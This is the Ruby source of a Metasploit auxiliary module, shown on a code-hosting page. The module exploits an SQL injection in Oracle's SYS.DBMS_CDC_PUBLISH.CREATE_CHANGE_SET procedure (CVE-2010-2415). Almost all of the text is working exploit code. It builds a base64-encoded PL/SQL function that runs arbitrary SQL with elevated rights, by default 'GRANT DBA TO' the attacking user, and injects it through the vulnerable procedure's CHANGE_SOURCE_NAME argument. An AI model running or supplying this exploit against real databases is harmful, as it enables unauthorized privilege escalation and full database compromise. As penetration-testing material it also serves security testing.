Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET',11'Description' => %q{12The module exploits an sql injection flaw in the CREATE_CHANGE_SET13procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege14on the vulnerable package can exploit this vulnerability. By default, users granted15EXECUTE_CATALOG_ROLE have the required privilege.16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2010-2415' ],22[ 'OSVDB', '70078'],23[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html' ],24],25'DisclosureDate' => '2010-10-13'))2627register_options(28[29OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),30])31end3233def run3435return if not check_dependencies3637name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)38var1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)39var2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)4041function = "42CREATE OR REPLACE FUNCTION #{name}43RETURN VARCHAR2 AUTHID CURRENT_USER44IS45PRAGMA AUTONOMOUS_TRANSACTION;46BEGIN47EXECUTE IMMEDIATE '#{datastore['SQL']}';48COMMIT;49RETURN NULL;50END;51"5253#PROCEDURE CREATE_CHANGE_SET54# Argument Name Type In/Out Default?55# ------------------------------ ----------------------- ------ --------56# CHANGE_SET_NAME VARCHAR2 IN57# DESCRIPTION VARCHAR2 IN DEFAULT58# CHANGE_SOURCE_NAME VARCHAR2 IN <-boom ;)59# STOP_ON_DDL CHAR IN DEFAULT60# BEGIN_DATE DATE IN DEFAULT61# END_DATE DATE IN DEFAULT6263package = "64BEGIN65SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET('#{name}','#{name}','''||'||user||'.#{name}||''');66END;67"6869uno = Rex::Text.encode_base64(function)70dos = Rex::Text.encode_base64(package)7172encoded_sql = %Q|73DECLARE74#{var1} VARCHAR2(32767);75#{var2} VARCHAR2(32767);76BEGIN77#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));78EXECUTE IMMEDIATE #{var1};79#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));80EXECUTE IMMEDIATE #{var2};81END;82|8384print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET...")85prepare_exec(encoded_sql)86print_status("Done...")8788end89end909192